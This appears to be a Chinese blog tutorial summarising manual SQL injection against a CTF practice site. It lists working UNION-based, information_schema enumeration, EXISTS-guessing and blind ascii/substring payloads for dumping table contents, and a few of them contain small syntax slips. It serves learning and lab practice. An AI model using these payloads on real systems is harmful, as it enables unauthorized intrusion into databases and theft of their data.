1. 程式人生 > >SQL注入總結

SQL注入總結

最近一直在研究SQL注入攻擊,現在對SQL注入進行一個總結:

SQL注入的原理就不在這裡贅述了,直接從攻擊技巧開始:

1.手工注入猜解流程:

假設我們現在以http://ctf5.shiyanbar.com/8/index.php?id=1這個連結為例子,已知它的id是一個注入點:

我們可以大概知道它的SQL語句大概是這麼寫的:SELECT ID,CONTENT FROM TABLE WHERE ID=id

(1)得到欄位總數:

我們通過order by語句來判斷select所查詢的欄位數目:

payload為:id=1 order by 1/2/3/4

發現當使用order by 3的時候有報錯回顯,所以select 的欄位一共是3個

(2)得到顯示位:

在頁面上會顯示從select中選取的欄位,我們接下來就是要判斷顯示的欄位是哪幾個欄位

使用如下的payload(兩者均可)進行判斷。

payload為:id=-1 union select 1,2,3 或者id=1 and 1=2 union select 1,2,3

從中就可以判斷到顯示的是從select選出來的第幾位和第幾位的資訊

(3)查詢資料庫資訊:

在知道了顯示位之後,那麼接下來就可以通過顯示位來顯示我們想知道的資訊,如資料庫的版本,使用者資訊等等。那麼我們使用如下的payload就可以知道相關的資訊。

payload:

id=-1 union select1,version(),

database()


可以看到在頁面上就出現了資料庫的版本資訊和當前使用的資料庫資訊。

類似的函式還有:

system_user()--資料庫的系統使用者

current_user()---當前登陸的資料庫使用者

last_insert_id()---最後一次插入操作的id

那麼接下來我們通過這種方式知道資料庫中所有的資料庫的名稱。

payload:id=-1 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 #得到第一個庫名

payload:id=-1 union select 1,2,SCHEMA_NAME

from information_schema.SCHEMATA limit 1,1 #得到第二個庫名

或者是:id=-1 union select 1,2,group_concat(schema_name) from information_schema.SCHEMATA#

這樣我們可以知道存在有兩個資料庫,一般information_schema是第一個資料庫,是系統自動生成的庫

(4)查詢表名:

由於database()返回的就是當前web程式所使用的資料庫名,那麼我們就利用database()來查詢所有的表資訊。當然在上一步中。我們也已經知道當前的database就是my_db.

payload:id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

這樣我們就得到當前資料庫下所有的表名了。頁面返回的結果是:


即在當前資料庫下存在兩個表:news和thiskey

(5)查詢列名:

在知道了表名之後,接下來我們利用information_schema.columns就可以根據表名來獲取當前表中所有的欄位。

payload:id=-1 union select 1,group_concat(column_name),3  from information_schema.columns where table_name='thiskey'

如果'被遮蔽:

payload:id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x746869736b6579(thiskey的十六進位制)


可以知道有k0y列。但是有的時候後臺的程式碼可能僅用了使用where子句,那麼這個時候就無法通過information_schema.coumns來得到列名了,這個時候只能夠根據你自己多年的黑客經驗來進行猜解了。猜解的方法也是比較的簡單,使用exists子句就可以進行猜解了。假設在我們已經知道了表名的情況下(當然猜解表名也使用通過exists子句來完成)

payload:id=1 and exists(select k0y from thiskey)

主要的語句就是exists(select 需要猜解的列名 from users)這種句式。如果在users表中不存在uname列名,則頁面不會顯示內容或者是直接出現sql的錯誤語句。

(6)爆出欄位內容

在知道了當前資料庫所有的表名和欄位名之後,接下來我們就可以dump資料庫中所有的資訊了。比如我們下載當前thiskey表中所有的資料。

payload:id=-1 union select 1,group_concat(k0y) from thiskey

這個是最樂觀的狀態

還有些情況需要一位一位的比較才能獲取欄位內容:(也就是sqlmap主要做的工作之一)

payload:id=1 and ascii(substring((select concat(k0y,0x3a) from thiskey limit 0,1),1,1))>64

意思為如果k0y第一條記錄的第一位的ascii碼>64則返回正常頁面

又或者是id=1 and ascii(substring((select k0y from thiskey),0,1))=119

id=1 and ascii(substring((select k0y from thiskey),0,1))>64意思都是一樣的

這樣通過不斷比較可以獲得欄位具體內容